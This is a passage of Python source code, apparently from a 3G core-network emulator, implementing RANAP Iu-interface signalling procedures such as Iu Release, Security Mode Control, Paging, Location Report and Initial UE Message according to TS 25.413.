rabitem['rAB-ID'][0]\n                    if nsapi in self._gtp_rem_mobile_nsapi:\n                        # nothing to do actually\n                        pass\n            #\n            if self._gtp_rem_mobile_nsapi:\n                self._disable_gtpu()\n        #\n        if self._cb:\n            self._ret = self.Iu.trigger_nas(self)\n            self._cb = None\n        else:\n            self._ret = []\n    \n    def trigger(self):\n        if self._ret:\n            # new RANAP procedure prepared by the NAS layer\n            return self._ret\n        else:\n            return []\n    \n    def abort(self):\n        RANAPSigProc.abort(self)\n        if hasattr(self, '_gtp_add_mobile_nsapi'):\n            self._gtp_rem_mobile_nsapi = self._gtp_add_mobile_nsapi\n            self._disable_gtpu()\n\n\nclass RANAPRABReleaseRequest(RANAPSigProc):\n    \"\"\"RAB Release Request: TS 25.413, section 8.3\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 41: RAB_ReleaseList (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.rAB_ReleaseRequest\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPIuReleaseRequest(RANAPSigProc):\n    \"\"\"Iu Release Request: TS 25.413, section 8.4\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 4: Cause (M)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.iu_ReleaseRequest\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n    \n    def trigger(self):\n        # copy the cause signaled by the RNC\n        Proc = self.Iu.init_ranap_proc(RANAPIuRelease, Cause=self.UEInfo['Cause'])\n        if Proc:\n            return [Proc]\n        else:\n            return []\n\n\nclass RANAPIuRelease(RANAPSigProc):\n    \"\"\"Iu Release: TS 25.413, section 8.5\n    \n    CN-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 4: Cause (M)\n      Extensions:\n      - 252: End_Of_CSFB (O)\n      - 254: Out_Of_UTRAN (O)\n      - 277: PLMNidentity (O)\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 31: RAB_DataVolumeReportList (O)\n      - 44: RAB_ReleasedList_IuRelComp (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.iu_Release\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    send = RANAPSigProc._send\n    \n    def _release_iu(self):\n        # update mobility state\n        if self.Iu.DOM == 'CS':\n            if self.Iu.MM.state != 'INACTIVE':\n                self.Iu.MM.state = 'IDLE'\n        else:\n            # suspend all RAB\n            self.Iu.SM.pdp_suspend()\n            if self.Iu.GMM.state != 'INACTIVE':\n                self.Iu.GMM.state = 'IDLE'\n        self._log('INF', 'UE disconnected, cause %r' % (self._NetInfo['Cause'], ))\n        #\n        # disconnect the Iu interface to the RNC for the UE\n        self.Iu.unset_ran()\n        self.Iu.unset_ctx()\n    \n    def recv(self, pdu):\n        # recv the IuRelease response\n        self._recv(pdu)\n        # remove from the Iu RANAP procedure stack\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        self._release_iu()\n    \n    def abort(self):\n        # remove from the Iu RANAP procedure stack\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        self._log('INF', 'aborting')\n        self._release_iu()\n\n\nclass RANAPRelocationPreparation(RANAPSigProc):\n    \"\"\"Relocation Preparation: TS 25.413, section 8.6\n    \n    RNC-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 4: Cause (M)\n      - 7: ClassmarkInformation2 (C)\n      - 8: ClassmarkInformation3 (C)\n      - 20: OldBSS_ToNewBSS_Information (O)\n      - 56: RelocationType (M)\n      - 60: SourceID (M)\n      - 61: Source_ToTarget_TransparentContainer (C)\n      - 62: TargetID (M)\n      Extensions:\n      - 108: GERAN_Classmark (O)\n      - 161: SourceBSS_ToTargetBSS_TransparentContainer (O)\n      - 203: CSG_Id (O)\n      - 226: SRVCC_HO_Indication (O)\n      - 235: Cell_Access_Mode (O)\n      - 259: RSRVCC_HO_Indication (O)\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 14: L3_Information (O)\n      - 28: RAB_DataForwardingList (O)\n      - 46: RAB_RelocationReleaseList (O)\n      - 63: Target_ToSource_TransparentContainer (O)\n      Extensions:\n      - 99: InterSystemInformation_TransparentContainer (O)\n      - 162: TargetBSS_ToSourceBSS_TransparentContainer (O)\n      - 227: SRVCC_Information (O)\n      - 260: RSRVCC_Information (O)\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n      - 99: InterSystemInformation_TransparentContainer (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.relocationPreparation\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPRelocationResourceAllocation(RANAPSigProc):\n    \"\"\"Relocation Resource Allocation: TS 25.413, section 8.7\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 4: Cause (M)\n      - 11: EncryptionInformation (O)\n      - 12: IntegrityProtectionInformation (O)\n      - 23: PermanentNAS_UE_ID (O)\n      - 49: RAB_SetupList_RelocReq (O)\n      - 61: SourceRNC_ToTargetRNC_TransparentContainer (M)\n      - 79: IuSignallingConnectionIdentifier (M)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 105: SNA_Access_Information (O)\n      - 118: UESBI_Iu (O)\n      - 127: PLMNidentity (O)\n      - 133: CNMBMSLinkingInformation (O)\n      - 203: CSG_Id (O)\n      - 233: UE_AggregateMaximumBitRate (O)\n      - 234: CSG_Membership_Status (O)\n      - 239: MSISDN (O)\n      - 261: PLMNidentity (O)\n      - 289: PowerSavingIndicator (O)\n    SuccessfulOutcome:\n      IEs:\n      - 5: ChosenEncryptionAlgorithm (O)\n      - 6: ChosenIntegrityProtectionAlgorithm (O)\n      - 9: CriticalityDiagnostics (O)\n      - 35: RAB_FailedList (O)\n      - 50: RAB_SetupList_RelocReqAck (O)\n      - 63: TargetRNC_ToSourceRNC_TransparentContainer (O)\n      Extensions:\n      - 100: NewBSS_To_OldBSS_Information (O)\n      - 203: CSG_Id (O)\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n      - 100: NewBSS_To_OldBSS_Information (O)\n      - 108: GERAN_Classmark (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.relocationResourceAllocation\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # not implemented\n\n\nclass RANAPRelocationDetect(RANAPSigProc):\n    \"\"\"Relocation Detect: TS 25.413, section 8.8\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n        None\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.relocationDetect\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPRelocationComplete(RANAPSigProc):\n    \"\"\"Relocation Complete: TS 25.413, section 8.9\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n        None\n      Extensions:\n      - 250: HigherBitratesThan16MbpsFlag (O)\n      - 262: TunnelInformation (O)\n      - 275: LHN_ID (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.relocationComplete\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPRelocationCancel(RANAPSigProc):\n    \"\"\"Relocation Cancel: TS 25.413, section 8.10\n    \n    RNC-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 4: Cause (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.relocationCancel\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPSRNSContextTransfer(RANAPSigProc):\n    \"\"\"SRNS Context Transfer: TS 25.413, section 8.11\n    \n    CN-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 29: RAB_DataForwardingList_SRNS_CtxReq (M)\n      Extensions:\n      - 167: RAT_Type (O)\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 25: RAB_ContextList (O)\n      - 85: RAB_ContextFailedtoTransferList (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.sRNS_ContextTransfer\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # not implemented\n    send = RANAPSigProc._send\n    \n    def recv(self, pdu):\n        # recv the SRNSContextTransfer response\n        self._recv(pdu)\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        if not self.errcause:\n            # TODO: do something with the list of RAB contexts\n            self._log('INF', 'success')\n\n\nclass RANAPSRNSDataForwarding(RANAPSigProc):\n    \"\"\"SRNS Data Forwarding: TS 25.413, section 8.12\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 28: RAB_DataForwardingList (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.sRNS_DataForward\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPSRNSContextForwardToCN(RANAPSigProc):\n    \"\"\"SRNS Context Forwarding from Source RNC to CN: TS 25.413, section 8.13\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 25: RAB_ContextList (M)\n      Extensions:\n      - 103: RRC_Container (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.forwardSRNS_Context\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPSRNSContextForwardToRNC(RANAPSigProc):\n    \"\"\"SRNS Context Forwarding from CN to target RNC: TS 25.413, section 8.14\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 25: RAB_ContextList (M)\n      Extensions:\n      - 103: RRC_Container (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.forwardSRNS_Context\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # not implemented\n\n\nclass RANAPPaging(RANAPConlessSigProc):\n    \"\"\"Paging: TS 25.413, section 8.15\n    \n    CN-initiated\n    request only\n    connection-less signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 17: NonSearchingIndication (O)\n      - 21: PagingAreaID (O)\n      - 22: PagingCause (O)\n      - 23: PermanentNAS_UE_ID (M)\n      - 64: TemporaryUE_ID (O)\n      - 76: DRX_CycleLengthCoefficient (O)\n      Extensions:\n      - 96: GlobalCN_ID (O)\n      - 229: CSG_Id_List (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.paging\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    send = RANAPConlessSigProc._send\n\n\nclass RANAPCommonID(RANAPSigProc):\n    \"\"\"Common ID: TS 25.413, section 8.16\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 23: PermanentNAS_UE_ID (M)\n      Extensions:\n      - 105: SNA_Access_Information (O)\n      - 118: UESBI_Iu (O)\n      - 127: PLMNidentity (O)\n      - 202: SubscriberProfileIDforRFP (O)\n      - 228: SRVCC_Operation_Possible (O)\n      - 234: CSG_Membership_Status (O)\n      - 249: Management_Based_MDT_Allowed (O)\n      - 263: MDT_PLMN_List (O)\n      - 272: RSRVCC_Operation_Possible (O)\n      - 277: PLMNidentity (O)\n      - 289: PowerSavingIndicator (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.commonID\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def send(self):\n        self._log('INF', 'sent')\n        return self._send()\n\n\nclass RANAPCNInvokeTrace(RANAPSigProc):\n    \"\"\"CN Invoke Trace: TS 25.413, section 8.17\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 19: OMC_ID (O)\n      - 65: TraceReference (M)\n      - 66: TraceType (O)\n      - 68: TriggerID (O)\n      - 69: UE_ID (O)\n      Extensions:\n      - 125: TracePropagationParameters (O)\n      - 244: MDT_Configuration (O)\n      - 251: TransportLayerAddress (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.cN_InvokeTrace\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def send(self):\n        try:\n            tracerefl = '0x%s' % hexlify(self.TraceReference).decode('ascii')\n        except Exception:\n            tracerefl = repr(self.TraceReference)\n        self._log('INF', 'sent with trace reference %s' % tracerefl)\n        return self._send()\n\n\nclass RANAPSecurityModeControl(RANAPSigProc):\n    \"\"\"Security Mode Control: TS 25.413, section 8.18\n    \n    CN-initiated\n    request-accept, request-reject\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 11: EncryptionInformation (O)\n      - 12: IntegrityProtectionInformation (M)\n      - 75: KeyStatus (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 5: ChosenEncryptionAlgorithm (O)\n      - 6: ChosenIntegrityProtectionAlgorithm (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    UnsuccessfulOutcome:\n      IEs:\n      - 4: Cause (M)\n      - 9: CriticalityDiagnostics (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.securityModeControl\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': ({}, {})\n        }\n    \n    send = RANAPSigProc._send\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        #\n        if self.errcause:\n            self._log('WNG', 'error in the response decoding')\n            self.success = False\n            self.Iu.SEC['CKSN'] = None\n        elif pdu[0] == 'unsuccessfulOutcome':\n            try:\n                self._log('WNG', 'failure, rejected with cause %r' % (self.UEInfo['Cause'], ))\n            except Exception:\n                self._log('WNG', 'failure, rejected without cause')\n            self.success = False\n            self.Iu.reset_sec_ctx()\n        else:\n            self.success, self._ret = True, []\n            # update the Iu security context with selected algorithms\n            secctx = self.Iu.SEC[self.Iu.SEC['CKSN']]\n            try:\n                secctx['UEA'] = self.UEInfo['ChosenEncryptionAlgorithm']\n                uea = secctx['UEA']\n            except Exception:\n                secctx['UEA'] = None\n                uea = 0\n            try:\n                secctx['UIA'] = self.UEInfo['ChosenIntegrityProtectionAlgorithm']\n                uia = 1 + secctx['UIA'] # UIA1 -> uia = 1, UIA2 -> uia = 2\n            except Exception:\n                secctx['UIA'] = None\n                uia = 0\n            self._log('INF', 'accepted with UEA%i / UIA%i' % (uea, uia))\n        #\n        # signal the result back to the NAS stack if required\n        if self._cb:\n            self._ret = self.Iu.trigger_nas(self)\n            self._cb = None\n    \n    def trigger(self):\n        if not self.success:\n            # copy the cause signaled by the RNC\n            Proc = self.Iu.init_ranap_proc(RANAPIuRelease, Cause=self.UEInfo['Cause'])\n            if Proc:\n                return [Proc]\n            else:\n                return []\n        else:\n            # new RANAP procedures may have been prepared by the NAS layer\n            return self._ret\n\n\nclass RANAPLocationReportingControl(RANAPSigProc):\n    \"\"\"Location Reporting Control: TS 25.413, section 8.19\n    \n    CN-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 57: RequestType (M)\n      Extensions:\n      - 111: VerticalAccuracyCode (O)\n      - 112: ResponseTime (O)\n      - 113: PositioningPriority (O)\n      - 114: ClientType (O)\n      - 164: IncludeVelocity (O)\n      - 168: PeriodicLocationInfo (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.locationReportingControl\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def send(self):\n        self._log('INF', 'sent with request type %r' % self.RequestType)\n        return self._send()\n\n\nclass RANAPLocationReport(RANAPSigProc):\n    \"\"\"Location Report: TS 25.413, section 8.20\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 0: AreaIdentity (O)\n      - 4: Cause (O)\n      - 57: RequestType (O)\n      Extensions:\n      - 97: LastKnownServiceArea (O)\n      - 119: PositionData (O)\n      - 120: PositionDataSpecificToGERANIuMode (O)\n      - 122: AccuracyFulfilmentIndicator (O)\n      - 165: VelocityEstimate (O)\n      - 283: BarometricPressure (O)\n      - 285: CivicAddress (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.locationReport\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    _PosDataDiscLUT = {\n        0 : 'Positioning Data Set present (non-GANSS methods used)',\n        1 : 'GANSS Positioning Data Set present (GANSS methods used)',\n        2 : 'Additional Positioning Data Set'\n        }\n    _PosMethLUT = {\n        5 : 'Mobile Assisted GPS',\n        6 : 'Mobile Based GPS',\n        7 : 'Conventional GPS',\n        8 : 'U-TDOA',\n        9 : 'OTDOA',\n        10 : 'IPDL',\n        11 : 'RTT',\n        12 : 'Cell ID'\n        }\n    _UsageLUT = {\n        0 : 'Attempted unsuccessfully due to failure or interruption - not used',\n        1 : 'Attempted successfully: results not used to generate location - not used',\n        2 : 'Attempted successfully: results used to verify but not generate location - not used',\n        3 : 'Attempted successfully: results used to generate location',\n        4 : 'Attempted successfully: case where MS supports multiple mobile based positioning methods '\\\n            'and the actual method or methods used by the MS cannot be determined'\n        }\n    _GANSSPosMethLUT = {\n        0 : 'MS-Based',\n        1 : 'MS-Assisted',\n        2 : 'Conventional'\n        }\n    _GANSSID = {\n        0 : 'Galileo',\n        1 : 'SBAS',\n        2 : 'Modernized GPS',\n        3 : 'QZSS',\n        4 : 'GLONASS',\n        5 : 'BDS '\n        }\n    _AddPosMethLUT = {\n        1 : 'MS-Assisted',\n        2 : 'Standalone'\n        }\n    _AddID = {\n        0 : 'Barometric Pressure',\n        1 : 'WLAN',\n        3 : 'Bluetooth',\n        4 : 'MBS'\n        }\n    \n    def recv(self, pdu):\n        # recv the data volume report response\n        self._recv(pdu)\n        if not self.errcause:\n            desc, ueinfo = [], dict(self.UEInfo)\n            if 'RequestType' in ueinfo:\n                del ueinfo['RequestType']\n            if 'AreaIdentity' in ueinfo and ueinfo['AreaIdentity'][0] == 'sAI':\n                desc.append('SAI PLMN %s, LAC 0x%.4x, SAC 0x%.4x'\\\n                            % (plmn_buf_to_str(ueinfo['AreaIdentity'][1]['pLMNidentity']),\n                               unpack('>H', ueinfo['AreaIdentity'][1]['lAC'])[0],\n                               unpack('>H', ueinfo['AreaIdentity'][1]['sAC'])[0]))\n                del ueinfo['AreaIdentity']\n            if 'PositionData' in ueinfo:\n                try:\n                    desc.extend( self._get_position_data(ueinfo['PositionData']) )\n                except Exception:\n                    pass\n                else:\n                    del ueinfo['PositionData']\n            if ueinfo:\n                # some more unprocessed values\n                desc.extend(['%s, %r' % (k, v) for (k, v) in ueinfo.items()])\n            self._log('INF', ' | '.join(desc))\n    \n    @classmethod\n    def _get_position_data(cls, data):\n        disc, ds, desc = data['positioningDataDiscriminator'][0], data['positioningDataSet'], []\n        if disc == 0:\n            pmu = ord(ds[0])\n            pm, pu = pmu>>3, pmu&0x7\n            desc.append('positioning method %i (%s) and usage %i (%s)'\\\n                        % (pm, cls._PosMethLUT[pm], pu, cls._UsageLUT[pu]))\n            if len(ds) > 1:\n                pmu = ord(ds[1])\n                pm, pid, pu = pmu>>6, (pmu>>3)&0x7, pmu&0x7\n                desc.append('GANSS positioning method %i (%s), id %i (%s), usage %i (%s)'\\\n                            % (pm, cls._GANSSPosMethLUT[pm], pid, cls._GANSSID[pid], pu, cls._UsageLUT[pu]))\n                if len(ds) > 2:\n                    pmu = ord(ds[2])\n                    pm, pid, pu = pmu>>6, (pmu>>3)&0x7, pmu&0x7\n                    desc.append('additional positioning method %i (%s), id %i (%s), usage %i (%s)'\\\n                                % (pm, cls._AddPosMethLUT[pm], pid, cls._AddID[pid], pu, cls._UsageLUT[pu]))\n        #\n        elif disc == 1:\n            pmu = ord(ds[1])\n            pm, pid, pu = pmu>>6, (pmu>>3)&0x7, pmu&0x7\n            desc.append('GANSS positioning method %i (%s), id %i (%s), usage %i (%s)'\\\n                        % (pm, cls._GANSSPosMethLUT[pm], pid, cls._GANSSID[pid], pu, cls._UsageLUT[pu]))\n            if len(ds) > 2:\n                pmu = ord(ds[2])\n                pm, pid, pu = pmu>>6, (pmu>>3)&0x7, pmu&0x7\n                desc.append('additional positioning method %i (%s), id %i (%s), usage %i (%s)'\\\n                            % (pm, cls._AddPosMethLUT[pm], pid, cls._AddID[pid], pu, cls._UsageLUT[pu]))\n        #\n        elif disc == 2:\n            pmu = ord(ds[2])\n            pm, pid, pu = pmu>>6, (pmu>>3)&0x7, pmu&0x7\n            desc.append('additional positioning method %i (%s), id %i (%s), usage %i (%s)'\\\n                        % (pm, cls._AddPosMethLUT[pm], pid, cls._AddID[pid], pu, cls._UsageLUT[pu]))\n        #\n        return desc\n\n\nclass RANAPDataVolumeReport(RANAPSigProc):\n    \"\"\"Data Volume Report: TS 25.413, section 8.21\n    \n    CN-initiated\n    request-response\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 33: RAB_DataVolumeReportRequestList (M)\n      Extensions:\n        None\n    SuccessfulOutcome:\n      IEs:\n      - 9: CriticalityDiagnostics (O)\n      - 31: RAB_DataVolumeReportList (O)\n      - 72: RAB_FailedtoReportList (O)\n      Extensions:\n        None\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.dataVolumeReport\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': ({}, {}),\n        'uns': None\n        }\n    \n    send = RANAPSigProc._send\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        try:\n            del self.Iu.Proc[self.Code]\n        except Exception:\n            pass\n        if not self.errcause:\n            # TODO: do something with the data volume report\n            self._log('INF', 'success')\n\n\nclass RANAPInitialUEMessage(RANAPSigProc):\n    \"\"\"Initial UE Message: TS 25.413, section 8.22\n    \n    RNC-initiated\n    request only\n    connection-oriented signalling procedure\n    \n    InitiatingMessage:\n      IEs:\n      - 3: CN_DomainIndicator (M)\n      - 15: LAI (M)\n      - 16: NAS_PDU (M)\n      - 55: RAC (C)\n      - 58: SAI (M)\n      - 79: IuSignallingConnectionIdentifier (M)\n      - 86: GlobalRNC_ID (M)\n      Extensions:\n      - 23: PermanentNAS_UE_ID (O)\n      - 108: GERAN_Classmark (O)\n      - 127: PLMNidentity (O)\n      - 130: NAS_SequenceNumber (O)\n      - 166: RedirectAttemptFlag (O)\n      - 171: ExtendedRNC_ID (O)\n      - 203: CSG_Id (O)\n      - 235: Cell_Access_Mode (O)\n      - 241: TransportLayerAddress (O)\n      - 250: HigherBitratesThan16MbpsFlag (O)\n      - 262: TunnelInformation (O)\n      - 273: TransportLayerAddress (O)\n      - 275: LHN_ID (O)\n      - 286: SGSN_Group_Identity (O)\n      - 290: UE_Usage_Type (O)\n    \"\"\"\n    \n    # ASN.1 procedure description\n    Desc = RANAP.RANAP_PDU_Descriptions.initialUE_Message\n    \n    # Custom decoders\n    Decod = {\n        'ini': ({\n            'LAI' : lambda x: (plmn_buf_to_str(x['pLMNidentity']),\n                               bytes_to_uint(x['lAC'], 16)),\n            'RAC' : lambda x: bytes_to_uint(x, 8),\n            'SAI' : lambda x: (plmn_buf_to_str(x['pLMNidentity']),\n                               bytes_to_uint(x['lAC'], 16),\n                               bytes_to_uint(x['sAC'], 16)),\n            'IuSignallingConnectionIdentifier': lambda x: x[0],\n            'GlobalRNC_ID': lambda x: (plmn_buf_to_str(x['pLMNidentity']),\n                                       x['rNC-ID'])},\n            {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    # Custom encoders\n    Encod = {\n        'ini': ({}, {}),\n        'suc': None,\n        'uns': None\n        }\n    \n    def recv(self, pdu):\n        self._recv(pdu)\n        if not self.errcause:\n            # verification against HNBd parameters and HNBAP / RUA infos:\n            err, plmn = False, self.RNC.Config['PLMNidentity']\n            if self.UEInfo['CN_DomainIndicator'][:2].upper() != self.Iu.DOM:\n                self._log('WNG', 'invalid CN Domain Indicator, %s' % self.UEInfo['CN_DomainIndicator'][:2])\n                err = True\n            if self.UEInfo['LAI'] != (plmn, self.RNC.Config['LAC']):\n                self._log('WNG', 'invalid LAI, %s.%.4x' % self.UEInfo['LAC'])\n                err = True\n            if 'RAC' in self.UEInfo and self.UEInfo['RAC'] != self.RNC.Config['RAC']:\n                self._log('WNG', 'invalid RAC, %.2x' % self.UEInfo['RAC'])\n                err = True\n            if self.UEInfo['SAI'][2] != self.RNC.Config['SAC']:\n                self._log('WNG', 'invalid SAC, %.2x' % self.UEInfo['SAI'][2])\n                err = True\n            if self.UEInfo['GlobalRNC_ID'] != (plmn, self.RNC.RNC_ID):\n                self._log('WNG', 'invalid GlobalRNC-ID, %s' % self.UEInfo['GlobalRNC_ID'])\n                err = True\n            if 